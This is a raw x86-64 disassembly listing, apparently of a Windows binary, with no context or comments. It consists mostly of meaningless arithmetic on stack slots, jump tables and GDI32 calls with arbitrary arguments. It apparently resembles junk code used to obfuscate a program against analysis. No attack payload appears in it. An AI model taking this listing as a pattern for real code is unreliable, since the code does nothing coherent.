mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3d08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
jmp 0x140022406
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3cf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
lea r9, [rsp + 0x3b78]
mov r8d, 0xca
mov rdx, qword [rsp + 0x3d20]
mov rcx, qword [rsp + 0x3ac0]
call qword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
mov dword [rsp + 0x1fdc], eax
jmp 0x140022406
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
sar eax, cl
mov byte [0x14018acda], al
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x2ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x3d08]
mov rcx, qword [rsp + 0x2fa8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1ff4]
mov rcx, qword [rsp + 0x3b80]
mov qword [rsp + 0x3d28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3d28]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
xor eax, ecx
mov word [rsp + 0xc68], ax
movzx eax, word [0x14018bdc8]
movzx ecx, word [rsp + 0xc60]
sub eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x3cd0]
mov qword [rsp + 0x3d30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3d30]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14018bdc8], ax
movzx eax, word [rsp + 0xc60]
mov dword [rsp + 0x1ff8], eax
cmp dword [rsp + 0x1ff8], 0x9b9
jg 0x140022464
cmp dword [rsp + 0x1ff8], 0x9b9
je 0x1400229e4
cmp dword [rsp + 0x1ff8], 0
je 0x140022744
cmp dword [rsp + 0x1ff8], 0x686
je 0x14002248b
cmp dword [rsp + 0x1ff8], 0x736
je 0x1400225b9
jmp 0x140022bd6
cmp dword [rsp + 0x1ff8], 0xd07
je 0x1400228e2
cmp dword [rsp + 0x1ff8], 0xfa8
je 0x140022ac8
jmp 0x140022bd6
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x2ac8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x3c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ad]
sar eax, cl
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
movss xmm0, dword [0x140150e84]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x140150e80]
movss dword [rsp + 0x20], xmm0
mov r9d, 0x39
mov r8d, 0xa2
mov edx, 0x72
mov rcx, qword [rsp + 0x3d38]
call qword [sym.imp.GDI32.dll_AngleArc]
mov dword [rsp + 0x1f9c], eax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
jmp 0x140022bd6
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3bb8]
mov qword [rsp + 0x3d40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3d40]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1f68], eax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
or eax, ecx
mov rcx, qword [0x14018bdd0]
mov byte [rcx], al
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
add eax, ecx
mov word [rsp + 0xc60], ax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x1ad]
sar eax, cl
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1fe4]
mov dword [rsp + 0x1ff4], eax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3cf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
and eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [0x14018bdc4]
add eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b78]
mov qword [rsp + 0x3d48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3d48]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
jmp 0x140022bd6
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
xor eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x3d50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3d50]
mov eax, dword [rax]
shl eax, cl
mov ecx, dword [rsp + 0x1f68]
mov edx, dword [rsp + 0x1fd0]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x14002284d
mov rcx, qword [rsp + 0x3ab0]
call qword [sym.imp.GDI32.dll_GetLayout]
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
mov dword [rsp + 0x1ff4], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acd9]
and eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3bb8]
mov ecx, dword [rsp + 0x1f8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1fa0], eax
jmp 0x1400228dd
movsx eax, word [0x14018bdc4]
movsx ecx, word [rsp + 0xc6c]
add eax, ecx
movsx ecx, word [rsp + 0xc64]
movsx edx, word [rsp + 0xc58]
sub ecx, edx
cmp eax, ecx
jg 0x140022876
jmp 0x1400228dd
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x1f7c]
mov edx, dword [rsp + 0x1c58]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jae 0x1400228c1
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc64]
shl eax, cl
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
jmp 0x1400228dd
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
or eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
jmp 0x140022bd6
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14018bdc8], ax
mov rax, qword [rsp + 0x2ac8]
movzx ecx, al
mov rax, qword [rsp + 0x34f8]
sar rax, cl
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b80]
mov rcx, qword [rsp + 0x3a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ad], al
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
sar eax, cl
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
jmp 0x140022bd6
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
lea r8, [rsp + 0x3d58]
mov edx, 0xa1
mov rcx, qword [rsp + 0x3c38]
call qword [sym.imp.GDI32.dll_GetBitmapBits]
mov dword [rsp + 0x1f68], eax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14018acda], al
mov rax, qword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x2ac8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ad]
movsx ecx, byte [rsp + 0x1ac]
or eax, ecx
mov byte [rsp + 0x99], al
mov eax, dword [rsp + 0x1ff4]
mov rcx, qword [rsp + 0x3a38]
mov qword [rsp + 0x3d60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3d60]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f68]
movzx ecx, al
mov eax, dword [rsp + 0x1fa0]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
jmp 0x140022bd6
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
add eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3d08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
movsx eax, word [0x14018bdc4]
movsx ecx, word [rsp + 0xc68]
and eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc68], ax
movsx eax, word [rsp + 0xc6c]
movsx ecx, word [0x14018bdc4]
sar eax, cl
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1fe4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
and eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe7]
mov dword [rsp + 0x1ffc], eax
mov eax, dword [rsp + 0x1ffc]
dec eax
mov dword [rsp + 0x1ffc], eax
cmp dword [rsp + 0x1ffc], 0xd3
ja case.0x140022c27.7
movsxd rax, dword [rsp + 0x1ffc]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0xf2fc0]
mov eax, dword [rcx + rax*4 + 0xf2fa4]
add rax, rcx
jmp rax
lea r9, [rsp + 0x3d58]
mov r8d, 0xd4
mov edx, 0xf0
mov rcx, qword [rsp + 0x3a30]
call qword [sym.imp.GDI32.dll_GetCharABCWidthsFloatW]
mov dword [rsp + 0x2000], eax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
shl eax, cl
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3cd0]
mov qword [rsp + 0x3d68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3d68]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x1ab]
add eax, ecx
mov byte [0x14018acd9], al
mov rax, qword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
and eax, ecx
mov byte [rsp + 0xe7], al
jmp case.0x140022c27.7
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3bb8]
mov qword [rsp + 0x3d70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3d70]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
add eax, ecx
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3bd8]
mov rcx, qword [rsp + 0x3a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
or eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [0x14018bdd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
shl eax, cl
mov word [0x14018bdc4], ax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
sub eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2ac8]
sar rax, cl
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
mov r8d, 0xc6
lea rdx, [rsp + 0x3d78]
mov rcx, qword [rsp + 0x3ab0]
call qword [sym.imp.GDI32.dll_PolylineTo]
mov dword [rsp + 0x1fdc], eax
jmp case.0x140022c27.7
lea rax, [rsp + 0x3d08]
mov qword [rsp + 0x3d80], rax
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ad], al
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1fc0]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x1fa0]
mov edx, dword [rsp + 0x1fd0]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x140022fbe
mov rax, qword [rsp + 0x3b80]
mov ecx, dword [rsp + 0x1ff4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1fe4], eax
mov rax, qword [0x14018bdd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
xor eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov rcx, qword [0x14018bdd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3bb8]
mov rcx, qword [rsp + 0x3a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1fd0], eax
mov eax, dword [rsp + 0x1f7c]
movzx ecx, al
mov eax, dword [rsp + 0x1fe4]
shr eax, cl
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
jmp 0x14002308d
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [0x14018acda]
cmp eax, ecx
je 0x140022fe2
jmp 0x14002308d
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0xc5c]
movsx edx, word [rsp + 0xc6c]
and ecx, edx
cmp eax, ecx
jge 0x140023034
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
jmp 0x14002308d
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3a68]
mov qword [rsp + 0x3d88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3d88]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3a38]
mov edx, dword [rsp + 0x1c58]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jbe 0x14002308d
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [0x14018bdc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1f90], eax
jmp case.0x140022c27.7
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3d80]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc64], ax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sar eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x2f10]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
mov rax, qword [0x14018bdd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3cb8]
call qword [sym.imp.GDI32.dll_AbortPath]
mov dword [rsp + 0x2004], eax
jmp case.0x140022c27.7
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
shl eax, cl
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
sub eax, ecx
mov word [rsp + 0xc60], ax
movsx eax, byte [rsp + 0x1ac]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov eax, dword [0x14018bdc0]
mov dword [rsp + 0x1fd8], eax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b58]
mov qword [rsp + 0x3d90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3d90]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [0x14018bdd8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f68]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
jmp case.0x140022c27.7
mov rax, qword [rsp + 0x3cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f10], rax
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3c98]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3d08], rax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
lea rax, [0x14018bdc8]
mov qword [rsp + 0x3d98], rax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b58]
mov qword [rsp + 0x3da0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3da0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x2008], al
cmp byte [rsp + 0x2008], 0
je 0x140023594
cmp byte [rsp + 0x2008], 0x36
je 0x1400233ca
cmp byte [rsp + 0x2008], 0x3f
je 0x1400f187f
cmp byte [rsp + 0x2008], 0x5f
je 0x140023534
cmp byte [rsp + 0x2008], 0x61
je 0x1400f1800
jmp 0x1400f198b
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x1ac]
add eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
and eax, ecx
mov byte [0x14018acda], al
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc60], ax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1c58]
shr eax, cl
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
mov r8d, 0xaf
lea rdx, [rsp + 0x3b20]
mov rcx, qword [rsp + 0x3da8]
call qword [sym.imp.GDI32.dll_SetBoundsRect]
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc64], ax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
add eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x3b78]
mov qword [rsp + 0x3db0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3db0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
jmp 0x1400f1a3d
movsx eax, word [0x14018bdc4]
movsx ecx, word [rsp + 0xc58]
sub eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2ac8], rax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [0x14018bdd8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
jmp 0x1400f1a3d
lea rax, [0x14018bdc8]
mov qword [rsp + 0x3db8], rax
mov eax, dword [rsp + 0x1f8c]
movzx ecx, al
mov eax, dword [rsp + 0x1fa0]
shl eax, cl
mov rcx, qword [rsp + 0x3bb8]
mov edx, dword [rsp + 0x1fc0]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jge 0x14002376b
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
sar eax, cl
mov byte [0x14018acda], al
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bd8]
